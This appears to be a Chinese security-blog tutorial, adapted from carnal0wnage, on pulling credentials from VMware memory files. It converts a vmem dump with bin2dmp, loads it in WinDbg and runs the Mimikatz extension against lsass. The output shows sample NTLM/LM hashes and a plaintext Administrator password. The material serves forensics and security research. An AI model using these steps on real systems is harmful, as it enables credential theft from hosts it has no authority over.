前言:
这篇文章来自于国外的carnal0wnage,具体是通过利用windbg载入Mimikatz读取虚拟机内存文件(vmem/vmsn文件),从而获取到其中的密码。之前也有人单独介绍过Mimikatz和metasploit的Mimikatz模块,这次我们主要说一下windbg是怎样使用Mimikatz进行内存取证的。下面我们来看一下carnal0wnage是怎样做的。
题外话:
为了让大家看的更明白,这里我们先简单说一下Mimikatz:该神器出自法国大神Benjamin Delpy之手,可以直接获取到大多数windows平台下的明文密码,相比于其他工具,最大的特点是速度极快,无需等待。关于神器用法之前FreeBuf有人介绍过了,大家可以戳这里:http://www.freebuf.com/tools/37162.html
原理是从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算,这一点原作者已经给出了说明:
下载地址在这里:http://blog.gentilkiwi.com/mimikatz
废话不多说,现在我们看下carnal0wnage是如何做的:
(前面的我就不写了,大约是carnal0wnage的一些个人感慨。。我个人对别人的私生活私感想没兴趣=。=)
当在vCenter/ESXi系统上做这些研究时,我先贴出一些关于这个问题的一些博客文章:
http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/
当然,在做这些之前,你需要一些工具:
Windows调试工具(windbg,研究的主要角色)
http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg
Windows内存内核工具
http://www.moonsols.com/windows-memory-toolkit/
最新版本的mimikatz已经支持windbg的调用:
https://github.com/gentilkiwi/mimikatz
下面我们开始:
#1 从虚拟主机中拷贝出虚拟内存文件(vmem/vmsn)
#2 使用moonsols的bin2dmp将内存文件转换为dmp格式文件(这里我用的是之前的付过费的pro版)
C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp bin2dmp - v2.1.0.20140115 Convert raw memory dump images into Microsoft crash dump files. Copyright (C) 2007 - 2014, Matthieu Suiche Copyright (C) 2012 - 2014, MoonSols Limited Initializing memory descriptors... Done. Directory Table Base is 0x124000 Looking for Kernel Base... Looking for kernel variables... Done. Loading file... Done. nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0 stuff happens [0x0000000040000000 of 0x0000000040000000] [0x000000001DAFE000 of 0x000000 MD5 = E8C2F318FA528285281C21B3141E7C51 Total time for the conversion: 0 minutes 14 seconds.
到这,你应该可以获取到一个dmp文件了,我们可以进行下一步工作了。
#3 在windbg中载入dmp文件,下面是图片:
注意:我们要先在windbg控制台中运行.symfix,然后执行.reload
kd> .symfix kd> .reload Loading Kernel Symbols ............................................................... ................................................................ ..... Loading User Symbols Loading unloaded module list ....
#4 windbg中载入mimilib模块
kd> .load C:\users\user\desktop\mimilib.dll .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13) .## ^ ##. Windows build 6002 ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' WinDBG extension ! * * */ =================================== # * Kernel mode * # =================================== # Search for LSASS process 0: kd> !process 0 0 lsass.exe # Then switch to its context 0: kd> .process /r /p # And finally : 0: kd> !mimikatz =================================== # * User mode * # =================================== 0:000> !mimikatz ===================================
#5 查找lsass进程
kd> !process 0 0 lsass.exe PROCESS fffffa800dba26d0 SessionId: 0 Cid: 023c Peb: 7fffffd4000 ParentCid: 01e4 DirBase: 2e89f000 ObjectTable: fffff880056562c0 HandleCount: 1092. Image: lsass.exe
#6 将镜像lsass环境转换到本机中
kd> .process /r /p fffffa800dba26d0 Implicit process is now fffffa80`0dba26d0 Loading User Symbols ................................................................ ......................
#7 载入mimikatz
kd> !mimikatz Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN-3C4WXGGN8QE$ Domain : UNLUCKYCOMPANY SID : S-1-5-20 msv : [00000002] Primary * Username : WIN-3C4WXGGN8QE$ * Domain : UNLUCKYCOMPANY * NTLM : ea2ed0b14406a168791adf5aee78fd0b * SHA1 : ab7bd2f6a64cf857c9d69dd65916622e3dc25424 tspkg : KO ---SNIP--- Authentication Id : 0 ; 173319 (00000000:0002a507) Session : Interactive from 1 User Name : Administrator Domain : UNLUCKYCOMPANY SID : S-1-5-21-2086621178-2413078777-1398328459-500 msv : [00000002] Primary * Username : Administrator * Domain : UNLUCKYCOMPANY * LM : e52cac67419a9a2238f10713b629b565 * NTLM : 64f12cddaa88057e06a81b54e73b949b * SHA1 : cba4e545b7ec918129725154b29f055e4cd5aea8 tspkg : * Username : Administrator * Domain : UNLUCKYCOMPANY * Password : Password1 wdigest : * Username : Administrator * Domain : UNLUCKYCOMPANY * Password : Password1 kerberos : * Username : Administrator * Domain : UNLUCKYCOMPANY.NET * Password : Password1 * Key List ---SNIP---
Okay,这样我们就获取到了内存中的密码,明文的。
[参考来源carnal0wnage's blog略有删减。文/FreeBuf小编 xia0k 转载请注明来自FreeBuf.COM]